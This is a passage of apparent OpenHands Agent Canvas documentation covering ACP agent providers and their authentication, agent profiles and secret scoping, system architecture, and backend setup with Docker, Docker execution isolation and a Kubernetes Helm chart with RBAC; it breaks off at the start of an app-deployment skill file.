(agent_kind, acp_*)" --> server - canvas -- "conversation turns" --> server - server -- "spawn + JSON-RPC over stdio" --> acp - acp -- "API calls" --> llm -``` - -The Agent Server owns the subprocess and the credentials; Agent Canvas only records *which* agent to run and surfaces a form for the secrets it needs. The agent choice is stored per backend, so switching backends can switch agents. - -## Supported providers - -| Provider | Default command | -|---|---| -| **Claude Code** | `npx -y @agentclientprotocol/claude-agent-acp` | -| **Codex** | `npx -y @zed-industries/codex-acp` | -| **Gemini CLI** | `npx -y @google/gemini-cli --acp` | - -The provider list is sourced from the OpenHands SDK registry (`openhands.sdk.settings.acp_providers`, mirrored into `@openhands/typescript-client`) and enriched with Canvas UI metadata. Adding or changing a provider happens upstream in the SDK. - -## Authentication - - - ACP agents authenticate **two ways: a subscription login, or an API key** — and the onboarding fields are optional. If you're already signed in to the provider's CLI on the machine the agent runs on, it reuses that login automatically, so locally you often don't need a key at all. **The login takes priority over an API key:** while you're signed in, a key set in the environment isn't used — so the onboarding key fields do nothing and can be left blank. - - -A "subscription login" is the credential the provider's own CLI stores when you sign in once — a file in your home directory, or, for Claude Code on macOS, the system **Keychain**. When the Agent Server runs **on that same machine** (a local or self-hosted backend), the provider CLI finds that login automatically — no API key required. On a clean cloud sandbox there's no stored login, so an API key is needed instead. - -| Provider | Subscription login (auto-detected) | API key | -|---|---|---| -| **Claude Code** | A Claude Code login (Pro/Max), from Claude Code's own credential store: the **macOS Keychain**, or `~/.claude/.credentials.json` on Linux | `ANTHROPIC_API_KEY` | -| **Codex** | A ChatGPT login (`codex login`) cached at `~/.codex/auth.json` | `OPENAI_API_KEY` | -| **Gemini CLI** | Your Google login (`gemini`/`gemini --acp`) cached at `~/.gemini/oauth_creds.json` | `GEMINI_API_KEY` | - -All three collect an *optional* API key (plus base URL) in onboarding. As noted above, a subscription / OAuth login takes priority over an API key — when the provider's CLI is signed in, a key set in the environment is not used: - -- **Codex** — `codex login status` keeps reporting the ChatGPT login even with `OPENAI_API_KEY` set. -- **Gemini CLI** — uses the OAuth auth type chosen at `gemini` login; `GEMINI_API_KEY` is only consulted if you switch the auth type. The free Google login is the common no-key path locally — sign in once and it just works. -- **Claude Code** — with both present, `claude auth status` reports it is authenticated via the subscription (`claude.ai`), not the key. The login is auto-detected from the macOS Keychain (or `~/.claude/.credentials.json` on Linux); `CLAUDE_CONFIG_DIR` is **not** required for it — it only relocates Claude Code's config directory (settings/history, not the token) and signals the SDK to strip a conflicting `ANTHROPIC_API_KEY` / `ANTHROPIC_BASE_URL`. - -The one exception is the **base URL** (`*_BASE_URL`): a custom value points the CLI at a different endpoint (a proxy or gateway) and *does* take effect even under a login — for Gemini it rides the ACP `gateway` param. It's an advanced override, not needed for normal use. - -## Onboarding an ACP agent - -First-time users get a four-step onboarding modal. To onboard an ACP agent: - -1. **Choose agent** — pick Claude Code, Codex, or Gemini CLI instead of OpenHands. The choice is saved immediately to your backend's settings. -2. **Check backend** — confirms Agent Canvas can reach the Agent Server. -3. **Set up credentials** — enter the provider's API key (and, optionally, a custom base URL for a proxy or gateway). All three providers collect these here, and every field is optional. -4. **Say hello** — creates your first conversation and closes the modal. - - - Every credential field is optional and the step is skippable. Leave a field blank to reuse a key already set on the backend, or to authenticate the agent through a subscription / OAuth login instead. - - -### How credentials reach the agent - -Each credential you enter is saved as a **global secret** whose name is exactly the environment variable the Agent Server exports into the ACP subprocess (e.g. `ANTHROPIC_API_KEY`). Saving in onboarding is identical to adding the secret under **Settings → Secrets**, where you can edit or remove it anytime. Keeping the secret name equal to the env var is what makes a saved key actually reach the provider CLI. - -## Switching agent or model later - -Open **Settings → Agent** at any time: - -- **Agent** — switch between **OpenHands** and **ACP**. -- **Preset** — pick a built-in provider (Claude Code, Codex, Gemini CLI) or **Custom** to point at any other ACP server. -- **Command** — the command line used to spawn the subprocess. Selecting a preset fills this in; editing it to match another preset re-detects that provider. API keys are *not* entered here — they live in the Secrets panel. -- **Model** — choose a suggested model for the provider or enter a custom model override. Built-in providers save a concrete model rather than leaving it blank. - -Saving writes an `agent_settings_diff` (`agent_kind`, `acp_server`, `acp_command`, `acp_model`) to `PATCH /api/settings`. A running conversation keeps the agent it started with; the new choice applies to conversations you start afterward. - -## Custom ACP servers - -Any stdio ACP server works: choose **Custom** in Settings → Agent and enter its launch command. Custom servers have no curated model list, so enter the model ID the server expects (if any) as a custom model. Pass credentials by adding the env vars the server reads as global secrets under **Settings → Secrets**. - -## Related Guides - -- [Customize and Settings](/openhands/usage/agent-canvas/customize-and-settings) -- [Manage LLM Profiles](/openhands/usage/agent-canvas/llm-profiles) -- [Connect and Manage Backends](/openhands/usage/agent-canvas/backends) - -### Agent Profiles -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/agent-profiles.md - -Agent Profiles define which agent a new Agent Canvas conversation runs with. A profile can use the built-in OpenHands agent or an ACP agent such as Claude Code, Codex, or Gemini CLI. - -The active Agent Profile is the default agent for new conversations. - -## Agent Profiles vs LLM Profiles - -Agent Profiles and LLM profiles control different layers: - -| Profile Type | Controls | Where to Manage | -|--------------|----------|-----------------| -| **Agent Profile** | Which agent runs the conversation and the agent-specific configuration | `Settings > Agent` | -| **LLM Profile** | Which LLM provider, model, and credentials an OpenHands agent uses | `Settings > LLM` | - -OpenHands Agent Profiles reference an LLM profile. ACP Agent Profiles use the external agent's own model and authentication flow instead. - -## Manage Agent Profiles - -Open `Settings > Agent` to manage the Agent Profile library. - -From this page, you can: - -- Create an OpenHands or ACP Agent Profile -- Rename a profile -- Edit profile settings -- Set a profile as active -- Delete profiles you no longer need - -When you set a profile as active, new conversations use that profile by default. - -## Choose an Agent Profile for a Conversation - -Before starting a conversation, you can open the `+` tools menu in the chat launcher and select `Switch agent profile`. Choose an Agent Profile to switch to that agent, and use it for the new conversation. - -The LLM Model selector always remains visible in the chat launcher and allows you to select from any available LLM that the current Agent Profile supports. Once a conversation is started with an Agent Profile you are unable to switch to a different Agent Profile during the conversation. - -## Scope an Agent Profile's Secrets - -When the connected Agent Server advertises the `profile_secret_scope_v1` capability, the profile editor in `Settings > Agent` includes a **secret scope** picker for OpenHands and ACP profiles. Use it to control which saved secrets a profile can access: - -- **All** — the profile can access every saved secret (default for existing profiles). -- **None** — the profile cannot access any saved secrets. -- **Selected** — choose specific secret names from the list of saved secrets. - -Secret references that no longer exist (for example, a secret that was deleted after being selected) are preserved in the profile rather than silently removed. This prevents an unrelated edit from widening or narrowing the profile's secret access. - -Agent Server is the sole enforcement point for secret scoping. Canvas only stores the profile's secret scope selection; it does not perform client-side secret filtering. - -On Agent Servers that do not advertise `profile_secret_scope_v1`, the picker is hidden and profiles remain unrestricted. - -## OpenHands Profiles - -Use an OpenHands profile when you want Agent Canvas to run the built-in OpenHands agent. - -An OpenHands profile references an LLM profile, so model and credential changes are managed in `Settings > LLM`. Use this when you want Agent Canvas to own both the agent behavior and the model configuration. - -### Let the Agent Switch LLM Profiles - -The OpenHands profile editor includes a **"Let the agent switch LLM profiles"** toggle. When enabled, the agent is given the `SwitchLLMTool`, which lets it switch between available LLM profiles during a conversation. When disabled, the tool is removed from the agent's toolset. - -This toggle is version-gated: it appears only when the connected backend reports agent-server `1.31.0` or later. On older backends (for example, agent-server `1.29.0`–`1.30.x`) the toggle is hidden. - -### Scope a Profile to Specific MCP Servers - -An agent profile can be scoped to a subset of configured MCP servers using **MCP server references** (`mcp_server_refs`). When a profile includes MCP server references, only the tools from the referenced MCP servers are available to the agent in conversations that use that profile. - -This is useful when you have multiple MCP servers configured but want a particular profile to access only a subset — for example, restricting a profile to a documentation search server while excluding servers with broader tool access. - -To scope a profile: - -1. Open `Settings > Agent` and edit the agent profile. -2. In the MCP server scoping section, select the MCP servers this profile should access. -3. Save the profile. - -When no MCP server references are set, the profile has access to all configured MCP servers. When references are set, only the selected servers' tools are registered with the agent. - -See also [Model Context Protocol](/overview/model-context-protocol) for an overview of MCP support across OpenHands platforms. - -## ACP Profiles - -Use an ACP profile when you want Agent Canvas to drive an external coding agent through the Agent Client Protocol. - -ACP profiles are useful for agents such as: - -- Claude Code -- Codex -- Gemini CLI -- a custom ACP server - -The external ACP agent owns its own model and tool behavior. Agent Server starts and manages the ACP process, while Agent Canvas renders the conversation and profile controls. - -## First-Time Setup - -During first-time setup, the agent you choose becomes the initial active Agent Profile. - -If you choose OpenHands, the setup flow also configures the LLM profile that the Agent Profile uses. If you choose an ACP agent, the setup flow creates an ACP Agent Profile and uses that provider's authentication path. - -## Related Guides - -- [First Time Setup](/openhands/usage/agent-canvas/first-time-setup) -- [ACP Agents](/openhands/usage/agent-canvas/acp-agents) -- [Manage LLM Profiles](/openhands/usage/agent-canvas/llm-profiles) - -### Agent Canvas Architecture -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/architecture.md - -Agent Canvas is the open-source browser client and control center for OpenHands conversations and automations. It presents backend state and sends requests to backend services; it is not an agent runtime or sandbox. Agent Server or an ACP agent CLI executes tools, and the selected workspace or sandbox provides the execution boundary. - -## Core Components - -| Component | Responsibility | Source | -|-----------|----------------|--------| -| **Agent Canvas** | Browser interface for conversations, files, settings, backends, and automations | [`OpenHands/OpenHands`](https://github.com/OpenHands/OpenHands) | -| **Agent Server** | Runs conversations, agents, tools, and workspace operations; streams events to clients | [`OpenHands/software-agent-sdk`](https://github.com/OpenHands/software-agent-sdk/tree/main/openhands-agent-server) | -| **Automation Server** | Stores schedules and event triggers, tracks runs, and dispatches conversations | [`OpenHands/automation`](https://github.com/OpenHands/automation) | -| **Workspace or sandbox** | Defines which files, processes, credentials, and networks an agent can access | Deployment-specific | - -Sandbox Server is a community-driven standalone API and sandbox control plane. [Learn more about Sandbox Server](https://github.com/OpenHands/sandbox-server). - -## Service Relationships - - -The normal browser path is **Browser → Agent Canvas → selected backend**. Agent Server owns conversation execution. Automation Server owns scheduled and event-driven run lifecycle. A backend distribution can expose both services behind one URL, but they remain separate responsibilities. - -A remote backend uses the same Agent Server API as a local backend. The Agent Server can run on another machine, or in a separate container on the same machine as Canvas. OpenHands Cloud and OpenHands Enterprise are managed backend platforms: their platform control planes create conversation sandboxes that host Agent Server. - -## Client And Launcher Boundaries - -`Agent Canvas` can refer to two related surfaces: - -- **Canvas client** — The React browser application. It renders state and sends requests to backend services. -- **`agent-canvas` launcher and distributions** — Packaging that can start the Canvas client, Agent Server, Automation Server, and ingress together. - -The launcher supports split modes: - -| Mode | Services started | -|------|------------------| -| `agent-canvas` | Canvas client, Agent Server, Automation Server, and ingress | -| `agent-canvas --frontend-only` | Canvas client and ingress | -| `agent-canvas --backend-only` | Agent Server, Automation Server, and ingress | - -Docker and Helm packages can also bundle the client and backend services. A bundled deployment changes how services are installed, not which component owns execution or isolation. - -## Execution and Isolation - -When you send a message, Agent Canvas sends it to the selected backend. Agent Server starts or resumes the conversation, runs the selected agent, invokes tools, updates backend state, and streams events to Canvas. - -The workspace determines the execution boundary: - -| Execution environment | Execution and isolation boundary | -|-----------------------|----------------------------------| -| **Host process** | Agent Server and tools run directly on the backend host without container isolation. If the backend is remote, that host—not the browser's machine—is the execution boundary. | -| **Docker or Kubernetes** | Agent Server and tools run inside the configured container or pod with its mounts and network policy. | -| **OpenHands Cloud or Enterprise** | The managed platform creates and operates the conversation sandbox that hosts Agent Server. | - -Connecting Canvas to a remote backend does not grant the browser direct access to that backend's filesystem. Canvas displays files and terminal output returned by Agent Server. - -## State Ownership - -State belongs to backend services rather than the browser client: - -- Agent Server stores conversation history, agent and LLM profiles, secrets, MCP configuration, and related settings. -- Automation Server stores automation definitions, schedules, events, and run history. -- The workspace or sandbox stores files produced or changed by the agent. -- Agent Canvas stores connection information needed to reach configured backends. - -Switching backends changes which backend-managed conversations, settings, automations, and workspaces Canvas displays. - -## Deployment Patterns - -| Pattern | Relationship | -|---------|--------------| -| **Local all-in-one** | The launcher starts Canvas and local backend services on one machine. | -| **Self-hosted backend services** | You deploy Agent Server, and optionally Automation Server, in another process, on a VM, in Docker or Kubernetes, or on Modal. Canvas connects to the deployment as a remote backend. | -| **Managed platform** | Canvas connects to OpenHands Cloud or OpenHands Enterprise, which operate their backend and sandbox infrastructure. | - -## Next Steps - -- [Install Agent Canvas](/openhands/usage/agent-canvas/setup) -- [Connect And Manage Backends](/openhands/usage/agent-canvas/backends) -- [Connect To A Remote Backend](/openhands/usage/agent-canvas/backend-setup/remote) -- [Self-Host On A VM](/openhands/usage/agent-canvas/backend-setup/vm) -- [Use Docker](/openhands/usage/agent-canvas/backend-setup/docker) -- [Agent Server Overview](/sdk/guides/agent-server/overview) - -### Cloud Backend -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/backend-setup/cloud.md - -You can connect Agent Canvas to [OpenHands Cloud](/openhands/usage/cloud/openhands-cloud) as a backend. Conversations and automations then run in OpenHands Cloud's on-demand sandboxes instead of on your local machine. - -## When to Use It - -A Cloud backend is a good fit when you want to: - -- Run agents without tying up local resources -- Use OpenHands Cloud's managed sandboxes and integrations -- Keep your local machine for development while offloading agent work -- Easy Phone & Tablet Access so you can code on the go - -## Prerequisites - -- An [OpenHands Cloud](https://app.all-hands.dev) account -- Agent Canvas installed — see [Setup](/openhands/usage/agent-canvas/setup) - -## Add a Cloud Backend - -1. Open Agent Canvas and click the backend switcher in the top bar. -2. Choose **Manage Backends** → **Add Backend**. -3. Click **Login with OpenHands Cloud** and sign in with your account. - -Once connected, select it as the active backend. Conversations will now run in OpenHands Cloud. - -### OpenHands Enterprise - -If your organization runs OpenHands Enterprise, click **Advanced** in the Add Backend flow and enter your enterprise host URL before signing in. - -## What's Different with a Cloud Backend - -- **Sandboxed execution** — each conversation runs in an isolated cloud sandbox rather than on your host filesystem. -- **Cloud integrations** — GitHub, GitLab, Bitbucket, Slack, and other integrations configured in OpenHands Cloud are available. -- **Settings are per-backend** — LLM configuration, secrets, and MCP servers saved against the Cloud backend are independent from your local backend settings. -- **Cloud-managed customization** — `Customize > Skills` becomes **Skills and Plugins** and opens the Cloud skills settings in a new tab. The local `Plugins` page is hidden; MCP Servers are still fully managed through the Canvas UI but installed on Cloud. -- **Cloud settings links** — the `Cloud` link becomes **All Cloud Settings**, and `Integrations` opens the Cloud integrations settings in a new tab. - -## Related Guides - -- [Connect and Manage Backends](/openhands/usage/agent-canvas/backends) -- [OpenHands Cloud](/openhands/usage/cloud/openhands-cloud) -- [Local Backend](/openhands/usage/agent-canvas/backend-setup/local) - -### Use Docker with Agent Canvas -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/backend-setup/docker.md - -Use Docker when you want the Agent Canvas distribution and its backend services to run in a container rather than directly on your host. The official image packages the Canvas client, Agent Server, Automation Server, and ingress in one container. Agent Server and its tools can access only the project directories and other resources you expose to the container. - -## Prerequisites - -- [Docker](https://docs.docker.com/get-docker/) installed and running (Docker Desktop on macOS/Windows, or Docker Engine on Linux) -- Agent Canvas installed locally (if connecting from another instance) — see [Setup](/openhands/usage/agent-canvas/setup) - -## Run the Official Image - -Mount a persistence directory for settings, secrets, and conversation history, and a projects directory for workspace access. - - - - ```bash - mkdir -p ~/projects ~/.openhands - - docker run -it --rm \ - -p 8000:8000 \ - -v ~/.openhands:/home/openhands/.openhands \ - -v ~/projects:/projects \ - ghcr.io/openhands/agent-canvas:latest - ``` - - - ```powershell - New-Item -ItemType Directory -Force -Path "$env:USERPROFILE\.openhands", "$env:USERPROFILE\projects" | Out-Null - - docker run -it --rm ` - -p 8000:8000 ` - -v "$($env:USERPROFILE)\.openhands:/home/openhands/.openhands" ` - -v "$($env:USERPROFILE)\projects:/projects" ` - ghcr.io/openhands/agent-canvas:latest - ``` - - - Docker Desktop for Windows must be installed and running. PowerShell uses backticks (`` ` ``) for line continuation instead of backslashes. - - - - -Agent Canvas is now available at `http://localhost:8000/canvas`. The backend base URL remains `http://localhost:8000`, and the agent can access any project under the mounted `/projects` path. - -### Environment Variables - -Configuration is passed via `-e` flags on `docker run`: - -| Variable | Purpose | -|----------|---------| -| `PORT` | Ingress port inside the container (default `8000`). Map it with `-p :`. | -| `LOCAL_BACKEND_API_KEY` | API key for the server. Auto-generated and persisted if not set. | -| `OH_SECRET_KEY` | Secret used to protect stored settings and secrets. | -| `AGENT_CANVAS_DISABLE_TELEMETRY` | Set to `1` or `true` to disable Agent Canvas product telemetry. | - -You can also pass `--disable-telemetry` to the Agent Canvas runtime. Use the environment variable for deployment configuration because older images ignore an unknown environment variable but reject an unknown runtime flag. - - - The agent server can execute arbitrary shell commands inside the container. If exposing it beyond localhost, set `LOCAL_BACKEND_API_KEY` to a strong secret. - - -## Let the Agent Use Docker - -By default the agent cannot run containers: `docker` is installed in the image, but the -daemon cannot start inside an unprivileged container. If the agent tries, it fails with -`error creating default "bridge" network: operation not permitted`. - -That matters for tasks where a container is part of the workflow — building a `Dockerfile` -and running it to confirm the change works, bringing up a `docker compose` stack to -reproduce a bug, or using a toolchain that is only published as an image. Without a -daemon the agent can edit those files but cannot verify them. - -To enable it, start the container with `--privileged`: - -```bash -docker run -it --rm \ - --privileged \ - -p 8000:8000 \ - -v ~/.openhands:/home/openhands/.openhands \ - -v ~/projects:/projects \ - ghcr.io/openhands/agent-canvas:latest -``` - - - `--privileged` gives the container broad access to the host kernel, which substantially - weakens the isolation between the agent and your machine. The agent can execute - arbitrary shell commands, so grant this only on a host you are willing to expose and - only when the agent genuinely needs to run containers. - - -Verify from inside the container: - -```bash -docker exec -it docker info -``` - - - There is no safer middle ground. The Docker daemon needs kernel capabilities that are - granted by the host when the container starts, so they cannot be acquired later — and - rootless Docker does not avoid this: the daemon starts, but containers it creates fail - to launch (`error mounting "proc" to rootfs: operation not permitted`). - - OpenHands Enterprise solves this differently, running each sandbox under a hardened - runtime that provides kernel-level isolation so nested containers run unprivileged. See - [Running Docker in the Agent Sandbox](/enterprise/docker-in-sandbox). - - -## Connect from the Frontend - -Start the frontend separately and point it at the container: - -```bash -agent-canvas --frontend-only -``` - -Then add the Docker backend: - -1. Click the backend switcher → **Manage Backends** → **Add Backend**. -2. Fill in: - - **Name** — e.g. `docker-backend` - - **Host / Base URL** — `http://localhost:8000` - - **API Key** — the `LOCAL_BACKEND_API_KEY` value (check container logs if auto-generated) -3. Save and select it as the active backend. - -## Related Guides - -- [Connect and Manage Backends](/openhands/usage/agent-canvas/backends) -- [Local Backend](/openhands/usage/agent-canvas/backend-setup/local) -- [VM / Self-Hosted Installation](/openhands/usage/agent-canvas/backend-setup/vm) -- [Kubernetes (Helm)](/openhands/usage/agent-canvas/backend-setup/kubernetes) -- [Running Docker in the Agent Sandbox](/enterprise/docker-in-sandbox) — how Enterprise does this without `--privileged` - -### Isolate Tool Execution with Docker -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/backend-setup/docker-execution.md - -Use Docker execution mode when you want Agent Canvas and Agent Server to remain trusted host processes while isolating filesystem and process tools in a separate container for each conversation. - -This mode differs from [running the entire Agent Canvas distribution in Docker](/openhands/usage/agent-canvas/backend-setup/docker). The outer Agent Server retains conversation state, LLM calls, credentials, policy, persistence, and orchestration. Supported tool actions run inside an ephemeral execution container. - -## Prerequisites - -- Docker installed and running on the Agent Server host -- Permission for the user running `agent-canvas` to invoke Docker -- An Agent Server image compatible with the installed Agent Server version - -## Start Agent Canvas - -Set the execution runtime and image before starting Agent Canvas: - -```bash -export OH_EXECUTION_RUNTIME=docker -export OH_EXECUTION_IMAGE=ghcr.io/openhands/agent-server:latest-python -export OH_EXECUTION_PLATFORM=linux/amd64 -agent-canvas -``` - -Use `linux/arm64` for an ARM host such as Apple Silicon. - -You can combine these variables with other launcher options. For example, to use another port: - -```bash -OH_EXECUTION_RUNTIME=docker \ -OH_EXECUTION_IMAGE=ghcr.io/openhands/agent-server:latest-python \ -OH_EXECUTION_PLATFORM=linux/amd64 \ -agent-canvas --port 9000 -``` - -The launcher forwards the variables to the local Agent Server. No separate frontend configuration is required. - -## How Isolation Works - -For each local conversation, Agent Server creates a `DockerExecutionWorkspace` with `/workspace` as its working directory. The container starts lazily when the conversation first invokes a supported tool. - -The following built-in tools execute in the container: - -- `terminal` -- `file_editor` -- `grep` -- `glob` -- `apply_patch` - -The outer Agent Server continues to run the agent loop and all LLM requests. It sends supported tool actions to an authenticated execution-only endpoint in the container. The inner server does not expose conversation, profile, settings, LLM, persistence, or WebSocket APIs. - - - Tools without a Docker execution adapter continue to run in the outer Agent Server process. Review custom and additional tools before treating the container as their security boundary. - - -## Keep the Sandbox Ephemeral - -By default, the execution container has no host filesystem mounts. Leave `OH_EXECUTION_VOLUMES` unset to keep the workspace ephemeral and prevent host files from appearing under `/workspace`. - -To mount data deliberately, provide a JSON array of Docker volume specifications: - -```bash -export OH_EXECUTION_VOLUMES='["/path/on/host:/workspace/project"]' -``` - - - A volume gives tools in the container access to the mounted host path. Do not configure volumes when you require a disposable sandbox with no host filesystem access. - - -The execution container: - -- Publishes its API only on host loopback. -- Receives a generated per-workspace capability instead of the outer server's credentials. -- Is removed when its workspace closes. -- Does not store the outer conversation state or LLM configuration. - -Conversation history persists in the outer Agent Server according to its normal persistence configuration. Files created only inside an unmounted execution container do not persist after that container is removed. - -## Verify Isolation - -Create a new conversation and ask the agent to run: - -```bash -printf 'PWD=%s\nHOME=%s\n' "$PWD" "$HOME" -find "$HOME" -mindepth 1 -maxdepth 1 -printf '%f\n' | sort -``` - -A default execution image should report `/workspace` as `PWD` and a container-local home directory such as `/home/openhands`. It must not display the Agent Server host's home-directory contents. - -On the host, inspect the active execution container: - -```bash -docker ps --filter name=openhands-execution- -docker inspect --format '{{json .Mounts}}' -``` - -For an ephemeral configuration, the mounts output should be `[]`. - -## Configuration Reference - -| Variable | Default | Purpose | -|----------|---------|---------| -| `OH_EXECUTION_RUNTIME` | `local` | Set to `docker` to enable one execution container per local conversation. | -| `OH_EXECUTION_IMAGE` | `ghcr.io/openhands/agent-server:latest-python` | Agent Server image used for execution containers. | -| `OH_EXECUTION_PLATFORM` | `linux/amd64` | Docker platform for execution containers. | -| `OH_EXECUTION_VOLUMES` | `[]` | Optional JSON array of Docker volume specifications. | - -## Related Guides - -- [Use Docker with Agent Canvas](/openhands/usage/agent-canvas/backend-setup/docker) — run the entire Canvas distribution and backend in one container -- [Agent Canvas Architecture](/openhands/usage/agent-canvas/architecture) -- [Docker Sandbox](/sdk/guides/agent-server/docker-sandbox) — run the entire conversation through a remote Agent Server container - -### Kubernetes (Helm) -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/backend-setup/kubernetes.md - -The official Helm chart deploys the all-in-one Agent Canvas image (frontend + agent-server + automation) on Kubernetes as a `StatefulSet` with a `PersistentVolumeClaim` for durable state, a `Service`, and an optional `Ingress` and RBAC layer. It's the recommended way to run Agent Canvas as a shared, always-on backend that survives pod restarts and image upgrades. - - - **Turn this into an internal vibecoding platform.** Once Agent Canvas runs in your cluster with [RBAC enabled](#rbac), you can give it a skill that teaches the agent how to deploy the small web apps it builds straight into the cluster. From that point on, **anyone with access to the Agent Canvas UI can build and ship code into the cluster — and save it to GitHub — with just a prompt.** No pipelines, no manual `kubectl`, no hand-written manifests: the agent scaffolds the app, applies the manifests, and gives back a live URL. - - The "save to GitHub" half of that loop requires the **GitHub MCP server** to be enabled so the agent can create repos and push commits on the user's behalf. See the [generic app-deployment skill](#skill-deploying-apps-into-the-cluster) below for a ready-to-adapt version, and [RBAC](#rbac) for the permissions it needs. - - - - The agent server can read and write the pod filesystem, execute shell commands, and — when RBAC is enabled — mutate the Kubernetes cluster it runs in. Treat the release namespace as trusted infrastructure, put it behind an authenticated ingress before exposing it to the internet, and only turn on `rbac.clusterAdmin` when you truly need cluster-wide access. - - -## Relationship to OpenHands Enterprise - -Agent Canvas is an **unauthenticated, single-tenant** application. This Helm chart runs exactly that: **one** shared instance where all agents are comingled on the same pod and PVC, with no built-in authentication, user-level role-based access control, or tenant isolation. It's a good fit for a single team or individual running their own backend, and for the "internal vibecoding platform" pattern described above — where a small, trusted group shares one deployment. - -[OpenHands Enterprise (OHE)](https://www.all-hands.ai/enterprise) is the productized upgrade path when you need a hardened, multi-user deployment. OHE adds: - -- **Authentication** (SSO / SAML / OIDC) so users must log in before they can run agents. -- **Role-based access control** over who can run agents and manage the deployment. -- **Multi-tenancy** so different teams get isolated spaces rather than one shared instance. -- **Isolated agent sandboxes** — each agent run executes in its own container instead of every agent sharing the pod's filesystem and shell. - -Use this Helm chart for self-hosted, single-tenant setups; reach for OHE when you need authentication, multi-tenancy, or isolated agent execution. - -## Prerequisites - -- Kubernetes **1.24 or later** (required by the chart's `kubeVersion` constraint). -- [Helm **3.x**](https://helm.sh/docs/intro/install/). -- A working `kubectl` context with permission to create resources in the target namespace. -- A `StorageClass` that supports `ReadWriteOnce` volumes. On GKE this is usually `standard-rwo` on older node pools or `hyperdisk-balanced` on `c4` / `n4` node pools. On EKS it's `gp3`. On DigitalOcean/Linode it's `do-block-storage` / `linode-block-storage`. -- An ingress controller (nginx, Traefik, cloud-provider ingress, etc.) if you want to reach Agent Canvas from outside the cluster. - -## Get the Chart - -The chart lives alongside the source in the `OpenHands/OpenHands` repository. Clone it and install from the local path: - -```bash -git clone https://github.com/OpenHands/OpenHands.git -cd OpenHands -helm install agent-canvas ./helm/agent-canvas \ - --namespace agent-canvas --create-namespace -``` - -That single command deploys everything below. Agent Canvas is now reachable inside the cluster at `http://agent-canvas.agent-canvas.svc.cluster.local:8000`. See [Access It](#access-it) for how to reach it from a browser. - -## What Gets Deployed - -| Resource | Purpose | -|---|---| -| `StatefulSet` | Single-replica pod running the all-in-one image. | -| `PersistentVolumeClaim` (per pod) | Backs `~/.openhands` and `~/workspace` (both mounted from the same PVC via `subPath`): settings, encrypted secrets, conversation history, automation SQLite DB, cloned repos, generated files. | -| `Service` (`ClusterIP`) | Cluster-internal endpoint on port 8000. | -| `Service` (headless) | Required by the `StatefulSet` for stable pod DNS. | -| `ServiceAccount` | Stable identity the pod runs under. | -| `Ingress` (optional) | External HTTP(S) entry point. | -| `RoleBinding` (per namespace) | Created when `rbac.enabled=true`, one per entry in `rbac.namespaces`. | -| `ClusterRoleBinding` (optional) | Created when `rbac.clusterAdmin=true`. | - -## Persistence - -The chart provisions **one** PVC and mounts it at multiple well-known subdirectories of the openhands user's HOME via `subPath`. That preserves the pristine `/home/openhands` the base image ships (dotfiles like `~/.bashrc` and `~/.profile`) while persisting the directories that actually contain state: - -- `~/.openhands` — agent-server settings and encrypted secrets, conversation history and event stores, automation SQLite database (unless you point at external Postgres — see [External Database](#external-database)), the `OH_SECRET_KEY` and session API key auto-generated on first boot -- `~/workspace` — the agent's default working directory: cloned repos, worktrees, anything the agent writes when it treats `~` as the workspace root - -Both paths share the same underlying disk. Add more entries to `persistence.mounts` if you want other subtrees persisted (e.g. `~/.cache`, `~/.config`). - -Defaults: - -```yaml -persistence: - enabled: true - mounts: - - mountPath: /home/openhands/.openhands - subPath: openhands - - mountPath: /home/openhands/workspace - subPath: workspace - size: 20Gi - # storageClassName: "" # empty → cluster default - accessModes: - - ReadWriteOnce -``` - - - The pod runs as `openhands` (UID 10001) from the upstream image. The chart sets `podSecurityContext.fsGroup: 10001` so the kubelet chowns the PVC on mount and the process can write to it. If you override `securityContext` or `podSecurityContext`, make sure UID/GID/fsGroup all point at the same user or `openhands` won't be able to write to the volume. - - - - On GKE clusters using `c4` or `n4` node pools, the default `standard-rwo` StorageClass will fail to attach because those machine types require `hyperdisk-balanced`. Set `persistence.storageClassName: hyperdisk-balanced` explicitly. - - -### Bring Your Own PVC - -If you already manage the volume out of band, point the chart at it and it will skip the `volumeClaimTemplates` path: - -```yaml -persistence: - enabled: true - existingClaim: my-agent-canvas-pvc -``` - -## Ingress - -Ingress is off by default. Enable it and provide the standard knobs — the chart supports `className`, `annotations`, multiple `hosts` with per-path routing, and TLS. - -```yaml -ingress: - enabled: true - className: nginx - annotations: - nginx.ingress.kubernetes.io/proxy-read-timeout: "3600" - nginx.ingress.kubernetes.io/proxy-send-timeout: "3600" - nginx.ingress.kubernetes.io/proxy-body-size: "50m" - cert-manager.io/cluster-issuer: letsencrypt-prod - hosts: - - host: agent-canvas.example.com - paths: - - path: / - pathType: Prefix - tls: - - hosts: - - agent-canvas.example.com - secretName: agent-canvas-tls -``` - - - The read/send timeout annotations matter — Agent Canvas holds long-lived WebSocket connections for streaming agent events. Without generous timeouts, the ingress controller will close idle streams and the UI will drop reconnects mid-turn. Nginx defaults to 60 seconds. - - -## RBAC - -RBAC is **off by default**. The pod runs under its own ServiceAccount but has no in-cluster permissions. Turn it on when the agent needs to inspect or mutate Kubernetes resources (e.g. to deploy things it builds). - -Two independent switches: - -```yaml -rbac: - enabled: true - # Full access to all resources in these namespaces (bound to the - # built-in `admin` ClusterRole via one RoleBinding per namespace). - # Each namespace must already exist in the cluster. - namespaces: - - default - - agent-sandbox - # Optionally grant cluster-admin. OFF by default. Very broad — enable - # only when the agent truly needs to manage the whole cluster. - clusterAdmin: false -``` - - - `rbac.clusterAdmin: true` grants `cluster-admin` — the highest privilege level in Kubernetes. An agent with a compromised prompt (or a bad LLM response) could delete every resource in the cluster. Prefer scoping to specific namespaces with `rbac.namespaces` whenever possible. - - -## Skill: Deploying Apps Into the Cluster - -To unlock the internal vibecoding platform described at the top of this page, give the agent a [skill](/overview/skills/creating) that teaches it the conventions for shipping the apps it builds into a namespace of your cluster. Drop the markdown below into `.openhands/skills/deploy-app/SKILL.md` (or your workspace's skills directory), adjust the placeholders (``, ``, GitHub org), and the agent will scaffold, deploy, and — with the **GitHub MCP server enabled** — push each app to its own repo on request. - -This is a generic version of the skill the OpenHands team runs internally. It assumes the backend was installed with [`rbac.enabled=true`](#rbac) and a `rbac.namespaces` entry for the target namespace, so the pod's ServiceAccount can `kubectl apply` there directly. - -````markdown -# Deploy apps into the 